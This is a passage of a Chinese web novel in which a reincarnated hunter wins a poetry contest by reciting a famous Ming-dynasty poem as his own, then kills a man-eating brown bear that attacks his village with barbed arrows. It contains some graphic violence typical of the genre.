茅仪故作谦逊,拱了拱手,随即将压力给到薛猛:“在下方才只不过是抛砖引玉,接下来还是请薛公子作上一首诗,让我们大家瞻仰瞻仰他的惊世才华吧!”
闻言,徐瑾儿心弦一紧,不由得为薛猛捏了一把冷汗。
这不是纯心让薛大哥难堪吗?
茅仪那首诗,已是她听过最好的诗了,薛大哥从来没做过诗,怎么跟他比?
第28章 作诗?薛某会亿点!
“咳咳!”
徐瑾儿朝徐守业投去求助的目光,徐守业当即干咳几声,起身对薛猛说道:“长根儿,你先前不是说,你昨日不慎染上风寒,头疼得紧吗?”
“河边风大,这饮酒作诗的事情,改日再参加也不迟,你赶紧回去好好歇着,别误了晚上的婚宴!”
徐守业看重的是薛猛的人品和能力,而作诗这种事情,靠的是文采。
薛猛能开九十斤强弓,但耍笔杆子,却未必比得上茅仪等人。
先前他为薛猛开脱,谎称薛猛不屑参加科举,自然是场面话。
薛猛曾经不止一次参加乡试,最终都遗憾落榜,显然是没什么文采天赋。
以前也从未见他作过什么诗。
若是任由茅仪他们闹下去,只怕薛猛会当众出丑。
徐瑾儿疯狂朝薛猛使眼色,只需要薛猛顺着爹爹的话,顺坡下驴,诈病回家。
茅仪碍于徐守业的面子,也不敢再对薛猛穷追猛打,今日之事便可就此揭过。
然而薛猛却选择无视了徐瑾儿的眼色,婉拒徐守业的好意,淡声笑道:“徐伯,我的体格棒着呢,未曾生病!”
“这作诗嘛,薛猛不才,还真会亿点!”
说这话时,薛猛虎目一扫,目光掠过在场众公子,最终定格在茅仪身上。
对上薛猛犀利目光,先前满面清傲,自觉高人一等的公子哥们,皆是身躯一颤,下意识回避开去。
就连一直气定神闲的茅仪,心中也是一惊。
某一瞬间,他竟觉得这薛猛,仿佛是一头披着人皮的猛虎。
只是被他看上一眼,便令人不寒而栗。
茅仪和这些公子哥的把戏,薛猛早就看出端倪。
不就是吃定我只是个打猎的,不会作诗,想逼我当众出丑吗?
其实茅仪是对的,我还真不会作诗。
但抄诗我会啊!
前世课本上那些唐诗宋词,随便抄一首,就够你们这帮自以为是的小崽子喝一壶了!
“茅兄。”
薛猛无视了众人诧异目光,迈步走向茅仪。
“既然你们这么想看我作诗,不妨就由你来出题,我来作诗,如何?”
“?!!”
茅仪万没想到,薛猛居然这么刚!
非但不怕作诗,居然还敢让他来出题。
茅仪抬眼环视周遭。
要我出题是吧?
那我就出个最难的!
看你这山野村夫,能作出什么名堂来!
“有了,各位请看……我们现在正身处沧浪河畔!”
“这沧浪河乃是岷江支流,水势浩荡,不妨就以‘江河’为题,即兴成诗!”
江河?
薛猛闻言一怔。
“怎么,这题太难了吗?”
见薛猛迟疑,茅仪心中暗笑,让你大言不惭,还让我出题,现在知道下不来台了吧?
“薛大哥!”
徐瑾儿杏眸圆瞪,想要上前劝阻,却被徐守业拽住。
“爹……”
徐守业冲徐瑾儿摇摇头,示意她不必再多嘴。
事情到了这一步,再强行阻止薛猛和茅仪,已经于事无补,反而显得不够大气了。
先前薛猛若是顺坡下驴,诈病回家,虽可免却麻烦,但未免有些卑琐。
而现在,薛猛居然选择主动留下。
就算他作的诗不好,但只要敢作,已算是勇气可嘉。
在徐守业心中,显然是这样敢做敢干的薛猛,更值得他欣赏!
“江河么…”
薛猛低眉看向地面,故作沉思。
实则是在复习当年学过的那些古诗词。
说实话,离开学校这么多年,很多课文他都记不太清了。
轰!
哗啦啦……
就在这时,一个浪头猛然拍在岸边青石上,浪花飞溅!!
水滴撒落在薛猛脸上,让他打了个激灵。
抹去脸上水花,抬头看去。
青山延绵,红日高升。
滚滚江河向东奋进奔流,一去不返。
无数的浪花像战马奔腾,在阵阵绞杀之下,翻飞破碎,转瞬成空!
此情此景,让薛猛脑中骤然响起电视剧《三国演义》片头曲的号角、战鼓、琴乐之声。
以及那首荡气回肠,家喻户晓的绝唱名篇……
薛猛立于河畔,触景生情,情不自禁吟唱出声。
虽是一介布衣,一开口,却是气势非凡……
“滚滚长江东逝水,”
“浪花淘尽英雄。”
“是非成败转头空。”
“青山依旧在,几度夕阳红。”
随着薛猛信口吟出《临江仙》上阙词,先前还自鸣得意的茅仪,顿时如遭雷击。
痴痴望着薛猛屹立河畔的背影。
和薛猛这几句词比起来,自己先前那首诗,犹如蜉蝣见青天,瞬间被打入尘埃……
薛猛一开口,仿佛就将他们引入到一种悲壮慷慨的意境之中。
徐瑾儿呆住了,茅仪满眼惊诧,大家全都难以置信地望着薛猛。
徐守业捋了捋胡须,闭上双眼,细细回味薛猛方才吟出的词句。
内心深处尘封已久的记忆,犹如潮水涌来。
忆往昔峥嵘岁月,金戈铁马,战场厮杀,腥风血雨……
转瞬间,是非成败已成空!
寥寥数句,便勾勒出深远意境!
“白发渔樵江渚上,”
“惯看秋月春风。”
“一壶浊酒喜相逢。”
“古今多少事,都付笑谈中。”
就在大家还沉浸于上阙词句营造出的悲壮意境时,薛猛再次开口,吟出了这首词的下阕。
一时间,万籁俱寂,鸦雀无声。
仿佛偌大天地间,只余下滚滚江河奔涌不息,与薛猛这首词留下的无穷意韵交织碰撞。
余音萦绕山谷,久久不散,让所有人深陷其中无法自拔!
上阕咏叹滚滚江河向东奔流,浪花飞逝,恰如一代代英雄人物转瞬即逝,令人心中感慨万千。
下阕笔锋一转,却将历代兴亡是非功过化作谈资笑料,以助酒兴。
起笔豪放中见悲情,最终却以洒脱淡泊的笔触收尾。
寥寥数句,写尽历史兴亡,人生沉浮,恩怨情仇,秋月春风。
最终化作一声慨然轻叹,让人闻之只觉荡气回肠,回味无穷!
“好一个一壶浊酒喜相逢,古今多少事,都付笑谈中。”
徐守业端起酒杯,一仰脖,将杯中酒一饮而尽。
不知不觉,竟已湿润眼眶。
薛猛这首词,勾起了他无数回忆。
当年,白虎军在关外孤军奋战,誓死捍卫国门。
不知多少将士壮烈牺牲,恰如江河中翻滚的浪花,转瞬间便被青石拍得粉身碎骨,未曾留下丝毫痕迹……
可最终,骁勇善战的白虎军非但没有获得皇帝嘉奖,反而在朝中奸臣弄权之下,落得个解散的下场。
白虎军没有败给敌人,却败给了自己人。
这么多年来,他一直未曾释怀,只能借酒消愁。
当同龄人都还沉醉于花前月下,儿女情长,亭台楼阁这些陈词滥调时。
薛猛却已经看透了天下兴亡,并以一种淡泊超然的态度,面对这一切!
其胸襟,是何等旷达!
原本以为薛猛不会做文章,现在看来,完全是他多虑了。
此子不仅有文采,有才情,更有超乎常人的胸怀和气量!
非寻常文人士子,可以比拟!
第29章 妖怪下山了!
“薛公子果真是旷世之才,在下甘拜下风,五体投地!”
茅仪回过神来,满脸羞愧难当,再也没了先前的傲气。
先前自己用旧作冒充即兴诗作,在薛猛面前班门弄斧,实在可笑……
自己这个解元郎,和薛猛一比,就像个三岁孩童般幼稚!
而且,刚才的题目,是茅仪临时想出来的,薛猛不可能提前获知,自然也无法套用旧作!
在这么短的时间内,作出此等词句…
别说是他这个乡试第一名的解元郎,就是大虞皇城殿试的状元郎,也未必能做到!
先前徐先生没说错,薛猛这样的境界,已经不需要参加科举了!
“薛公子这首《临江仙》,无论是意境还是词句,都是无可挑剔,旷古绝今!”
“最不可思议的是,如此完美的词作,居然是现场即兴吟出……”
“服了,这回真服了!”
“我要马上把这首词抄录下来,仔细回味!”
众公子无不叹服,啧啧称奇。
就连看薛猛的眼神,都清澈了。
徐瑾儿心中窃喜。
薛大哥太棒了!
不仅会打猎,居然还作得一手好文章!
薛猛笑了笑,他这首《临江仙》,可是抄的明代三大才子之首杨慎大才子的名作!
杨大才子十二岁中举人,十九岁中进士,二十四岁就考上大明的状元!
茅仪区区乡试第一名,拿什么和杨大状元比?
更何况,这首《临江仙·滚滚长江东逝水》不仅仅是一首词那么简单,更是杨慎在屡次被贬,历经沧桑后,对人生的深刻感悟。
这些为赋新词强说愁,一辈子没经过什么风浪的公子哥,哪里写得出这种深入人心的绝妙名篇?
吊打没商量!
“茅兄,诗也做了,没什么事儿我就先走了。”
装完比,薛猛转身走人。
“薛公子,先别走啊!在下还有一些问题,想要请教薛公子……”
“您方才做的那首《临江仙》,名字叫什么!”
“怎么样才能向薛公子您一样,出口成章,求薛公子指教!”
“薛公子平时都爱看什么书?”
“薛公子,我想邀请你参加今年的峨眉诗会!”
“……”
见薛猛离开,茅仪等人连忙追了上去。
薛猛仅用一首词,便彻底折服了这群平日自恃才子的公子哥。
在众人心中,薛猛的形象,已从粗鄙不堪的山野村夫,摇身一变,成了深藏不漏的隐士高人!
薛猛没走几步,就被追来的茅仪等人团团围住,拉着他问这问那。
什么诗词格律,平仄韵部……
听得薛猛一个头两个大。
要是问他怎么制作武器,他可以滔滔不绝讲上个一两天不重样,但是对这些诗词创作之类的东西,他是一窍不通啊。
“够了!”
实在被问烦了,薛猛深吸一口气,愤然大喝道:“尔等何不睁开眼看看,当今这天下,都成什么样子了?”
“多少百姓,流离失所,衣不蔽体,食不果腹……”
“吾辈读书人,当为天地立心,为生民立命,为往圣继绝学,为万世开太平!”
“汝等自诩文人雅士,终日养尊处优,只好清谈享乐,而不作为,不觉得羞愧吗?”
“仅靠吟诗作赋,可救不了大虞的百姓,救不了这颠倒乱世!”
“把你们这咬文嚼字的劲头,用到别处,干什么干不成?”
“薛某言尽于此,诸君好自为之!”
甩下这番话,薛猛头也不回,拂袖而去。
显然是动了真怒!
“为天地立心!”
“为生民立命!”
“为往圣继绝学!”
“为万世开太平!”
望着薛猛高深莫测的背影,茅仪愣在原地,双目怔怔出神,心中的震撼犹如潮水久久无法散去。
这是何等伟岸的胸襟,才能说出这四句话来!
若说薛猛先前那首《临江仙》,让他们见识到了何为真正的才子词人!
那么现在,薛猛随口说出的这横渠四句,则是让茅仪当场顿悟。
“读了那么多书,自诩洪雅县第一才子,今日方才知道,曾经的自己是多么的荒唐!”
“饮酒作诗?呵,可笑!”
茅仪一把拽下头上的儒巾,随手抛之脑后。
“从今往后,我也不再做什么鸟诗了!”
其余公子心中虽然同样为薛猛方才那番话感到震撼,但却对茅仪此举感到困惑:“茅公子,你这是何故?”
“不作诗,你要做什么?”
望着薛猛离去的方向,茅仪目光灼灼,心向往之:“薛公子如此大才,却能够安隐此间,我茅仪为何不能?”
“正所谓近朱者赤,近墨者黑!”
“我决定,留在卧虎村,追随薛公子!”
“哪怕是在他身边当个小小书童,也值得!”
“啊?!”
茅仪此言一出,其余公子看他的眼神,都像是在看疯子。
薛猛出众的才华,大家有目共睹,他们也都很想和薛猛结交一番。
但是……
为了薛猛,放弃城里锦衣玉食的生活,留在这缺衣少食的穷乡僻壤,他们是万万不敢想象的。
“我没有发疯,也非一时脑热,你们不必再劝,我心意已决!我现在就回洪雅县,安排好家中琐事,然后就来投奔薛公子!”
众人出于好意再三劝阻茅仪,但茅仪却表明了态度。
徐守业站在远处,远远看着这一切。
捋了捋胡须,老脸上露出一抹欣慰的笑容。
茅仪这小子,不愧是马上要当知县的人。
悟性在这帮公子哥眼中,算是最高的了!
徐瑾儿望着薛猛的背影,满脸崇拜。
不光身手矫健,还会吟诗作赋!
她暗自发誓,这辈子非薛猛不嫁!
哪怕是做小妾也愿意!
……
薛家柴房内。
昏睡了近乎一天一夜的林大强,手指忽然动了一下。
守在一旁,茶不思饭不想的林雅娴,见状一喜:“大哥,你可算醒啦!”
但还没等她高兴,却见林大强眉头紧锁,张了张干裂的嘴皮,声音低哑仿若梦呓:“二妹,告诉妹夫……”
“你说啥?”
林雅娴连忙凑近他嘴边,仔细一听。
只听林大强说的是:
“妖怪,下山了。”
“大哥,你在说啥胡话呢?”
林雅娴摸了摸林大强的头,寻思这也没发烧啊。
林大强声音低哑,强忍身上疼痛,艰难开口道:“二妹,你听哥说……昨天……河边的死鱼太多捡不完,鱼腥味把山里的妖怪引出来了!我就是被那妖怪所伤……”
听完林大强的话,林雅娴面色惨白,瞳孔震颤,一屁股瘫坐在了地上。
半天都缓不过神来。
“原来裴老猎户当年说的,都是真的!山里真有妖怪!”
第30章 狼牙箭大显神威
老猎户家。
裴红玉正在灶房里清洗野菜,准备熬粥。
忽然听见拴在院子里的猎犬,冲着大门外发出狂吠。
“雪豹,你叫什么呢?谁来了?”
雪豹叫了没一会儿,突然噤声,缩在墙角瑟瑟发抖,居然夹住尾巴尿了出来……
透过窗户,瞥见这一幕,裴红玉眉头轻皱,顿时起了戒心。
雪豹是一只纯种白龙犬,性情勇猛,擅长扑猎。
即便是面对体型数倍于己的野猪,也不会有丝毫胆怯,到底是什么东西,能把它给吓成这样?
裴红玉悄然靠近门边,朝院门口望去。
瞥见一道身长脚长,身高接近一丈的黑影,从自家门前一闪而过。
“那是什么东西?”
裴红玉不由一怔,感觉那东西像人,又不像人。
就在这时,卧房里传来东西摔碎的动静。
“爹?”
裴红玉连忙冲出灶房,推门进了卧房,只见老猎户从床上翻滚在地,碰倒了旁边的桌子,桌上的陶碗掉落下来,碎了一地。
“爹,你怎么了?”
裴红玉见状,连忙上前扶起老猎户。
老猎户四肢抽搐,两眼直翻白眼,嘴角挤出白沫,含糊不清地说着什么。
“来了……它来了……”
“谁来了?”
“它来了……就是它!我记得它身上的膻味。”
“刚子、强子、青子……我可怜的孩子,死得好惨!”
说完,老猎户老泪纵横,猛烈咳喘起来,口里咳出一滩血。
裴红玉闻言,心里咯噔一下,先是一惊。
难不成,是那东西下山了?
随即回想起自己三个哥哥的音容笑貌。
眼中垂下一滴珠泪,一咬银牙,抄起弓箭和红缨枪,朝着先前那道黑影追去。
“爹,女儿去给哥哥们报仇!!”
卧虎村村口,几个孩童正在撒尿和泥玩儿。
忽然,一道黑影掠过。
几个孩童消失了,地上只留下一堆残肢和肉渣,空气里弥漫着血雾。
“那是什么东西跑过去了?”
“是妖怪!”
“妖怪进村了!!快去叫村长!!!”
随着时间推移,有村民发觉了地上的血迹和尸体。
大家都意识到有妖怪进村了!
一时间,卧虎村上下人心惶惶。
一个村民,正往徐守业家里赶,突然被转角处一只布满黑色鬃毛的兽爪抓住,将他朝墙上砸去。
“啊……砰!”
脑浆飞溅。
村民当场殒命。
一个高大的黑色身影从黑暗中走出,伸出一条血红的舌头,贪婪地舔舐起墙面上残留的脑浆。
仿佛在品尝什么美味珍馐。
“啊啊啊!萨日朗!”
这血腥残暴的画面,恰巧被挖野菜的张婶看见,吓得惊叫不已。
躲在房门后瑟瑟发抖的林雅娴,听见叫声,连忙打开一道门缝,将张家婶子拽进了自家门里。
林雅娴冲张婶比了个噤声的手势:“婶子,低声些,别被那妖怪听见了!”
张家婶子吓得腿都软了,脸色惨白,捂着嘴不敢再叫。
透过门缝,林雅娴看见,那道高大黑影冲进了好几户人家,杀了好多的人。
“怎么办?”
“也不知道长根儿去哪儿了,要是在外面撞上这妖怪可怎么得了!”
林雅娴揪着心,担忧薛猛的安危。
“嗬!嗷呜!”
高大黑影撞倒了对面一户人家的院墙,在废墟里嗅着活人的味道,确定已经没有活人后,调头朝着薛家这边逼近。
“这妖怪好像能闻见活人的呼吸,咱们别出气。”
林雅娴连忙捂住口鼻,张婶也有样学样捏住了鼻子。
闻不到活人的气味,高大黑影果然愣了愣。
“姐姐,出什么事了?”
就在高大黑影准备调头离开时,林小鱼忽然从偏房里走了出来。
“吼!!!”
听到林小鱼的声音,高大黑影兽瞳圆睁,兴奋得朝薛家冲了过来。
“啊!快跑!”
林雅娴和张婶拉起林小鱼,慌忙朝里屋跑。
砰!
薛家大门被高大黑影撞得粉碎。
躲进里屋的林雅娴,透过窗户,眼看那东西,就要踏入薛家院子,抱着怀里的林小鱼瑟瑟发抖,内心近乎绝望。
张婶面如土色,嘴唇颤抖:“咱们死定了。”
“遭了,那东西往偏房去了!娘还在里面!”林雅娴目眦欲裂,银牙咬破了红唇。
“畜生,住手!”
眼看那高大黑影就要摧毁薛家院子,一声冰冷娇叱响起。
裴红玉身背短弓,手持长枪的红色身影,出现在院门口。
这么多年以来,裴红玉无时无刻不想着为当年惨死的兄长们报仇。
今日,这害死她兄长的妖怪竟然主动下山了!
此时不报仇,更待何时?
裴红玉寒眸圆瞪,当即引弓搭箭,瞄准高大黑影后心窝一箭射出。
啪!
一声脆响,箭头刚刚扎进对方皮毛,就被弹了出来。
箭头坠落在地,如同射中了铜铁一般,竟然已经扁了。
这一箭,非但没能伤到那东西,反而激怒了它!
“嗬!嗬!嗬啊!”
高大黑影拍着胸脯,仰天发出一声低沉怒吼。
浑身上下黑色鬃毛如钢针倒竖。
宽大的嘴巴里,长满尖锐獠牙,每一颗都足有匕首大小,能够轻而易举咬碎人的头骨。
眼窝深陷,一双兽瞳堪比铜铃大小,散发着幽冷红芒。
学着人类直立走路的姿态,说不出的诡异。
呼吸之间,鼻腔里喷出一股裹挟着浓烈膻臭味的白雾。
那是人血和脑浆混合在一起的味道,让人闻之欲呕。
听到有妖怪下山,薛猛火急火燎赶了回来,刚到家门口,就看见裴红玉拿短弓射这玩意儿。
这哪是什么妖怪啊?
分明就是一头棕熊!
普通黑熊体重通常不会超过三百斤,个头也很难超过一个成年男人。
而棕熊最大的可以长到接近一吨重,直立起来个头接近三米!
这玩意儿还非常聪明,喜欢模仿人类直立行走!
别说是人了,就是其他野兽在山里见到它,也不过是沦为它的食物!
棕熊肌肉脂肪层极厚,且骨骼坚硬,莫说是裴红玉手里的短弓,就是普通小口径枪支子弹,都不一定能够穿透它那厚厚的脂肪层。
要想对付这东西,只能用狼牙箭!
“裴姑娘,再坚持一会儿!”
薛猛心念电转,当即翻墙进入后院,踹开窗户,来到里屋,取出先前徐守业交给他的红木盒子。
打开盒子,三枚崭新的狼牙箭头,散发着低调的幽芒,亟待饮血!
“长根儿,你要干什么?太危险了,别去!”
林雅娴美眸圆瞪,紧紧拉着薛猛,不让他走。
“雅娴,我要是不收拾了这畜牲,咱们村不知道还要死多少人!放开,让我去!”
薛猛眼中杀意闪迸,背着竹胎复合弓,手拿狼牙箭,甩开林雅娴的手,朝着屋外冲了出去。
望着薛猛义无反顾的背影。
张婶脸色惨白。
林小鱼瑟瑟发抖。
林雅娴怔怔出神,泪水吧嗒往下掉。
长根儿,你一定要平安回来!
砰砰砰!
见弓箭奈何不得这头妖怪,裴红玉果断丢下弓箭,抄起红缨枪掠步上前,施展裴家十二路搏虎枪法,与棕熊近身缠斗起来。
尽管裴红玉身法敏捷,天生神力,每一次挥动红缨枪,都能从棕熊身上带下一些血肉。
但很可惜,她的红缨枪穿透力太差,根本无法对皮糙肉厚的棕熊,造成深层次的伤害。
结果毫无疑问,裴红玉很快就落了下风,若非反应迅速,好几次都险些被棕熊镰刀般锋利的爪子抓中要害……
裴红玉且战且退,将棕熊引到了卧虎村打谷场的空地上。
一路上,棕熊横冲直撞,不少民宅都被殃及池鱼。
嘶!
看着这惊心动魄的搏斗场面,躲藏在暗处的村民,无不是倒吸一口凉气。
这可怎么办?
连天生神力的裴红玉都奈何不得这妖怪!
其他人就更别提了。
卧虎村完了!!
一时间,男人抱着女人,女人抱着孩子,一家子抱头痛哭。
绝望的情绪,犹如瘟疫迅速在人群中蔓延开去,瞬间笼罩了整个卧虎村
“畜牲,姑奶奶跟你拼了!”
“呀啊!看枪!”
裴红玉猛喝一声,飞身一跃,手中长枪枪头寒芒闪耀,径直朝着棕熊后背刺去。
“嗬!!”
棕熊大怒,甩臂一巴掌扇出。
砰!!!
裴红玉整个人倒飞出去,后背重重地撞在了一棵大树上,嘴里哇地一口鲜血喷出,整个人翻滚在地。
她手里枪杆只剩下半截。
而另一半红缨枪,深深插入了棕熊的后背。
棕熊双目血红,发狂般横冲直撞,想要蹭下背上的红缨枪!
小山般的身躯,朝着裴红玉身上碾压而去!
裴红玉已经精疲力竭,浑身浴血,再也无法躲避。
只能闭上双眼,等待死亡的降临。
大哥二哥三哥,小妹无能,没能为你们报仇雪恨!
咱们只能阴曹地府再见了!
可怜家中老爹,再无人照顾……
裴红玉咬了咬牙,心中悲凉的同时,又有几分解脱之意。
“嗡……!”
恰在这时,一阵宛若裂帛的惊弦之声,骤然震响。
方圆百米清晰可闻。
裴红玉的心弦,为之一震,缓缓睁开了眼。
便是棕熊闻声也是一愣,疑惑抬头看去。
铜铃般巨大的兽瞳中,映出一个逐渐放大的锋锐箭头。
它还没来得及看清那是什么东西,狼牙箭头已从天而降,射进它的眼窝。
砰!
“嗬!嗬吼!”
看上去平平无奇的箭头,在进入眼窝体内的瞬间,直接贯穿了他的头颅。
因为肌肉组织的挤压,箭头上弹出层层叠叠的狼牙状刀片,硬生生将它半个头颅绞得稀巴烂……
噗叽!
熊血与脑浆飞迸,画面凄惨。
随着半颗血络密布的猩红熊眼,滚落在地。
将近一吨重的硕大熊躯,轰然倒地,竟将地面砸出大坑,激起的尘埃铺天盖地。
呼!
待烟尘散去。
裴红玉无比惊愕的目光中,映入了一道强悍的身影。
第31章 白虎乡神箭英雄
“孽畜,到此为止吧!”
薛猛迎风而立,一身玄袍猎猎作响。
他从背后箭筒中缓缓抽出三支狼牙箭。
一步步朝着棕熊走去,每走一步,就往这畜牲身上要害部位补上一箭。
冰冷虎目中,不带一丝情感。
啪啪啪!
“嗬嗷呜!”
棕熊发出最后的哀嚎,在地上拼死挣扎了一番,便彻底丧失了生机……
薛猛凑上前去,狠狠踹了棕熊几脚,确定这东西已经死透了,方才松了口气。
别看他表面镇定,实际上后背早就被冷汗浸湿了。
裴红玉脸色惨白,全身都被汗水湿透了。
太惊险了!
刚才若不是薛猛及时出手,她今天性命难保!
躲藏在暗处的村民,全都傻眼了。
匆忙赶来的徐瑾儿嘴张得能装下一颗鸡蛋,徐守业老眸精芒闪烁,看着薛猛的身影,半天说不出话来。
身后跟着的白虎乡差役,全都瞠目结舌,表情一个比一个夸张。
开什么玩笑!
这么大的妖怪,就这么被薛猛一箭射死了?!
“长根儿!!”
林雅娴实在不放心薛猛,朝着打谷场跑了过来。
看见薛猛毫无无损,身子一软,直接瘫坐在了地上,喜极而泣。
确定棕熊已死,卧虎村幸存的村民陆续聚集到打谷场。
对着害得他们家破人亡的棕熊尸体狠狠打骂发泄。
同时,一张张朴实的面孔,看向拯救了村子的薛猛,充满了感激、敬畏。
“薛家兄弟真乃神人也!”
“若不是他力挽狂澜,杀死这妖怪,咱们卧虎村就全完了!”
“薛猛是大英雄!”
随着棕熊倒地毙命,一切尘埃落定。
因震惊而寂静的人群,彻底炸开了锅。
从此以后,提到薛猛,大家想到的,再也不是曾经那个不学无术的败家子!
而是卧虎山下,意气风发,一箭射杀棕熊的神箭英雄!
“薛大英雄!”
“薛大英雄!!”
劫后余生,人们欢呼雀跃,围着薛猛,嘴里呼喊着薛猛的名字!
“雅娴,你真是好福气啊!”
“嫁给长根儿这样的大英雄!”
“连吃人的妖怪都被他一箭射死了,还有什么事情是他办不到的?”
“长根儿要是上了战场,估计能当大将军呢!”
“你就是未来的将军夫人,以后发达了,可别忘了婶子们啊!”
“是啊雅娴,这是家里鸭子刚生的蛋,你拿着。”
“这是我前几天晒的笋干,一点小心意,不成敬意!”
听着村里妇人们的恭维,林雅娴浑身轻飘飘的,感觉自己好像在做梦一样。
薛猛射杀棕熊的事迹,很快就被卧虎村的村民添油加醋散播了出去。
最开始还只是在附近两三个村子里发酵。
后来整个白虎乡的男女老少,一提到“薛猛”这个名字,甭管认不认识这人,都不得不竖起大拇指,赞一声“薛大英雄”。
徐守业看着被村民包围的薛猛,眼神无比复杂,内心一个大胆的念头逐渐开始萌芽。
“你说啥?那妖怪真被薛猛射死了?咳咳……”
李庄,后花园内,李全福正喝着茶,听到宋大芬说薛猛把卧虎山妖怪射死了,差点没被茶水呛死。
“千真万确!俺亲眼瞧见薛猛一箭把那怪物脑袋都射穿了!”
“李老爷,俺哥被薛猛那厮杀了,那些刁民也不听我们宋家的话了。”
“现在这薛猛杀了妖怪,在卧虎村威望越来越高,我担心他会威胁到你们李家的地位!”
“您还是早点想个法子,治治这小子吧!”
李贺也道:“对呀爹,不能再放任薛猛这混蛋嚣张下去了,否则村民全都跟他学坏了,以后都不怕咱们李家了!”
李全福眼神阴鸷,点了点头:“嗯,是该好好敲打敲打这些泥腿子了,就拿薛猛这厮开刀,杀鸡儆猴!”
……
薛家院子里传来一阵剁排骨的动静。
有好事者趴在墙头探头往里一瞅,吓得一屁股坐翻在地。
在村民们惊惧的注视下,薛猛高举斧头,猛然挥下,一层层劈开棕熊胸腹部厚实的脂肪层。
扒拉开腥热肝脏,一个肥大的胆囊显露了出来。
“这么大?!”
看到这东西,薛猛眼底掠过一抹兴奋,一把揪出胆囊,割断胆管迅速打了个结,以免胆汁流出。
放在手里掂了掂,估摸得有个两斤多重。
不愧是棕熊,不仅个头远超普通的熊,连胆都比普通熊重一倍!
九成九稀罕物!
普通熊胆都能卖五十两白银!
这东西少说卖百两以上!
林雅娴皱眉道:“长根儿,你让大伙儿帮你把这妖怪尸体拉回来做什么,快丢了吧,好恶心!”
林小鱼也对之前的经历心有余悸,连忙点头附和:“嗯嗯,姐姐说得对!这可是妖怪啊……姐夫,还是快用火把它烧掉吧!万一它又活过来怎么办?”
“哈哈!你们别怕,这东西不是什么妖怪,只是一头棕熊!”
薛猛抹了把脸上的熊血,冲着自己傻乎乎的老婆和小姨子,笑呵呵道。
“薛大哥,什么是棕熊?”
徐瑾儿仰望着站在棕熊尸体上的薛猛,满脸崇拜。
“棕熊就是比黑熊更大的熊!”
薛猛埋头清理着熊胆上的筋膜,随口解释道:“普通的熊,寿命不过三五十年,顶天了也只能长到千八百斤。”
“而这头棕熊,体型比寻常的熊大了一倍不止,只怕是活了上百年!”
“这百多年来,不知害了多少条人命,才长到这么大个头!”
闻言,不少人都红了眼,显然是被勾起了痛苦回忆。
张家婶子低头啜泣起来。
她的丈夫,就是被这棕熊所害!
如今薛猛杀了这棕熊,也算是大仇得报。
“薛猛!”
一声冷喝响起,裴红玉一瘸一拐走进薛家院子。
薛猛扭头见裴红玉气势汹汹走过来,还以为她要跟自己抢这头棕熊。
却不料,来到薛猛面前后,裴红玉冷漠眼眸中罕见地流露出一丝女儿态,语气充满钦佩和感激:“你今日杀死了这妖怪,替我大哥二哥三哥报了仇,便是我裴家的大恩人!”
“从今往后,你便是我的大哥!”
“但凡是用得着我裴四妹的地方,大哥尽管开口,我裴四妹绝不说半个不字!”
说完,裴红玉又恢复了那副生人勿近的冷漠神色,在无数道复杂的目光中,扭身朝着门外,一瘸一拐离去。
每走一步,地上就留下一个血脚印,裤腿被鲜血染得通红。
可想而知伤得有多重。
但她愣是一声不吭,就这么挺着腰走了出去。
刀斧加身而面不改色,大将之材也!
望着裴红玉离去的坚毅背影,连薛猛一个男人都有些自愧不如。
他这次能够射杀棕熊,一来仗着狼牙箭威力惊人,二来还要多亏裴红玉。
若是没有裴红玉与之英勇缠斗,为薛猛争取了足够的时间和机会,只怕自家小院已经被这棕熊夷为平地了。
最逆天的是,裴红玉居然硬生生将半截红缨枪,刺进了棕熊的脂肪层!
难怪村里人都说她天生神力!
她那红缨枪的枪头,可没有狼牙箭这么精妙的构造,根本不具备穿透棕熊的穿透力,纯粹就是她靠着蛮力强行怼进去的。
可惜这女人太莽了,干起架来跟不要命一样,完全不顾保护自己,以至于受伤太重,力不能支。
若是给她穿上一身甲胄,配上一柄钢枪!
说不定这头棕熊,真能被她活活搠死。
薛猛脑子里不由得冒出一个大胆的想法。
你看啊,裴红玉近战无敌,我远攻无敌。
那我骑在裴红玉身上,我俩岂不是天下无敌?
“呸呸呸,我想啥呢,母老虎的屁股可摸不得。”
薛猛甩了甩头,很快将这个不切实际的荒唐念头抛之脑后。
受这么重的伤,裴红玉都面不改色,一声不吭!
到了洞房花烛夜,她要是也来个面不改色,一声不吭,薛猛都不敢想,自己得有多崩溃。
“长根儿,老夫找遍了大半个白虎乡,只借到三辆骡车,够吗?”
徐守业笑呵呵地进了院子。
薛猛抬起头,看向门外停着的三辆骡车,点了点头。
“差不多吧!”
“肉装一车!”
“骨头装一车!”
“皮装一车,凑合着能行!”
这棕熊太大了!
一个骡车根本装不下!
第32章 给说不得的贵人看病
“大舅哥,我这趟进城,估摸得好几天才能回来,家里就靠你照应了!”
翌日清早,薛猛将要赶着骡车进车卖棕熊,临行前对林大强交代道。
林大强强忍身上的伤痛,倚着门槛,点点头:“妹夫,你就放心去吧,家里有我呢!”
“那行,你好好养伤,我就走了!”
“驾!”
薛猛赶着骡车,在前方开路。
同行还有徐守业的大女婿周堂,和二女婿李正,赶着另外两辆骡车,跟在后面。
当初李贺想欺负林雅娴,来帮忙阻止的十几个村民里,也有这两位。
薛猛对他们印象都很不错。
三人一路说说笑笑,倒也并不枯燥。
“长根儿,路途遥远,喝碗水再走吧。”
徐守业和徐瑾儿站在村口,端着茶水,等候多时。
薛猛接过水碗,一口喝干,咧嘴笑道:“徐伯,谢了!”
“薛大哥,你都不跟我道别。”徐瑾儿嘟着嘴,耍起小脾气来。
薛猛伸手揉了揉徐瑾儿的脑袋:“傻丫头,你等着,哥已经想好了,等我卖熊回来,我就跟雅娴说,娶你过门儿!”
闻言,徐瑾儿小脸一红:“呸!人家才不稀罕嫁给你呢!”
嘴上虽是这么说,心里却是美滋滋的。
“哈哈哈!”
周堂、李正对视一眼,皆是哈哈大笑起来。
大家伙儿都能看出徐瑾儿这丫头,对薛猛有意思。
“走啦!!”
放下水碗,薛猛挥舞鞭子,驱赶骡车全速前进。
望着薛猛一行三人绝尘而去的背影,徐瑾儿杏眸闪烁,盼着薛猛早日归来,迎娶自己过门儿。
“哟,薛小爷又来了!”
“这次拉了三辆骡车,这得多大的货呀?!”
当薛猛再次来到洪雅县东市肉庄和盛堂,顿时引起肉庄轰动。
不少摊主和跑山客纷纷围了上来,想要开开眼界。
“薛小爷您来了?不巧,今儿雷把头不在!”
护宝红棍见了薛猛,连忙拱手上前恭敬说道。
“不在?可我怎么听见雷叔的声音了?”
薛猛听力十分敏锐,和盛堂里明明传来了雷遇明说话的声音。
